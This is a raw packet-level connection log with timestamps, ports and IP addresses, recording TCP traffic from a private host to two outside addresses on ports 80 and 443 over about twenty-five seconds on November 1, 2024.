Nov 1, 2024 03:45:36.860112906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860117912 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860125065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860140085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860145092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860152006 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860162020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860162020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860173941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860182047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860203981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860227108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860450029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860461950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860472918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860502005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860512972 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860595942 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860606909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860616922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860626936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860637903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860650063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860654116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860666037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860676050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860691071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860702991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860713959 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860716105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860726118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860738039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860748053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860758066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860759974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860769033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860771894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860780954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860790968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860801935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860805035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860812902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860817909 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860825062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:36.860846043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:36.860872030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:37.325778961 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:37.325809956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:37.330620050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:37.330743074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.110399961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.110464096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.172967911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.177850008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.457654953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.457765102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.457801104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.457811117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.457851887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.461785078 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.466572046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.746588945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:38.746690035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.759025097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:38.763856888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:39.538718939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:39.538897991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:39.563812017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:39.568818092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:39.847868919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:39.847954035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:39.852267981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:39.857063055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:40.632251978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:40.632374048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:43.439836979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:55.558629036 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:55.558680058 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:55.558769941 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:55.559067011 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:55.559084892 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.283366919 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.283463955 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.287898064 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.287909985 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.288170099 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.297007084 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.343337059 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.541493893 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.541517019 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.541541100 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.541639090 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.541666031 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.541692019 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.541718006 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.653028965 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.653052092 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.653175116 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.653197050 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.656608105 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.768621922 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.768646955 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.768701077 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.768719912 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.768733025 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.771346092 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.883702993 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.883721113 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.883826017 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.883847952 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.883975983 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.999032021 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.999049902 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:56.999147892 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:56.999167919 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.000073910 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.114140987 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.114160061 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.114239931 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.114259958 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.114335060 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.229291916 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.229311943 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.229376078 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.229397058 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.229427099 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.229448080 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.344991922 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.345010042 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.345127106 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.345148087 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.346009016 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.436750889 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.436765909 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.436835051 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.436853886 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.436897993 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.505260944 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.505275011 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.505455017 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.505485058 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.505656958 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.576031923 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.576049089 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.576198101 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.576220989 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.576421976 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.690736055 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.690756083 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.690907955 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.690923929 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.691194057 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.805815935 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.805835009 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.805963039 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.805975914 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.806149960 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.806384087 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.806443930 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.806444883 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.806531906 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.806550026 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.806556940 CET	49762	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.806562901 CET	443	49762	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.849615097 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.849642992 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.849801064 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.852982044 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.853003979 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.853024006 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.853040934 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.853092909 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.853122950 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.854300976 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.854310989 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.854576111 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.854844093 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.854857922 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.854942083 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.854953051 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.855664968 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.855691910 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.855892897 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.855911016 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.856982946 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.856995106 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:57.857053995 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.857168913 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:57.857182026 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.639214993 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.639755964 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.639772892 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.640233040 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.640440941 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.658369064 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.658400059 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.658930063 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.658941984 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.659236908 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.659265041 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.659657955 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.659684896 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.660089970 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.660104036 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.660501957 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.660506010 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.660922050 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.660942078 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.661293983 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.661299944 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.661714077 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.661722898 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.662132978 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.662143946 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.783241034 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.783288002 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.783412933 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.784826994 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.784842968 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.784897089 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.784899950 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.784939051 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.786871910 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.786928892 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.786981106 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.787765980 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.787787914 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.787837029 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.787854910 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.787910938 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.787956953 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.787997961 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.788059950 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.788150072 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.788177013 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.788219929 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.788228989 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.788248062 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.788288116 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.812819958 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.812843084 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.812865973 CET	49766	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.812877893 CET	443	49766	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.818103075 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.818121910 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.818164110 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.818173885 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.819072008 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.819082975 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.819093943 CET	49765	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.819098949 CET	443	49765	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.819957972 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.819967985 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.819981098 CET	49763	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.819984913 CET	443	49763	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.820805073 CET	49767	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.820815086 CET	443	49767	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.838591099 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.838624001 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.838691950 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.839706898 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.839735031 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.839787960 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.840622902 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.840632915 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.840687037 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.841345072 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.841362953 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.841887951 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.841902018 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.841968060 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.841979980 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.843241930 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.843252897 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.843307972 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.843405008 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.843415976 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.843883991 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.843910933 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:58.843954086 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.844620943 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:58.844639063 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.560766935 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.561486959 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.561501980 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.561995029 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.562000990 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.570971966 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.571458101 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.571470022 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.571913004 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.571918964 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.574722052 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.575344086 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.575352907 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.575602055 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.575608015 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.579266071 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.579606056 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.579618931 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.579973936 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.579998970 CET	49772	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.580003977 CET	443	49772	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.580292940 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.580303907 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.580698013 CET	49770	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.580703974 CET	443	49770	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.695868015 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.696006060 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.696089029 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.696244001 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.696255922 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.696266890 CET	49768	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.696271896 CET	443	49768	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.699598074 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.699614048 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.699692011 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.699870110 CET	49773	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.699877024 CET	443	49773	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.703625917 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.703888893 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.703953028 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.703979015 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.703989029 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.704024076 CET	49771	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.704030037 CET	443	49771	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.705051899 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.705152035 CET	443	49769	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.705228090 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.705228090 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.705228090 CET	49769	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.706355095 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.706374884 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.706438065 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.706549883 CET	49774	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.706562042 CET	443	49774	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.707051039 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.707070112 CET	443	49775	13.107.246.45	192.168.2.4
Nov 1, 2024 03:45:59.707128048 CET	49775	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:45:59.707240105 CET	49775	443	192.168.2.4	13.107.246.45
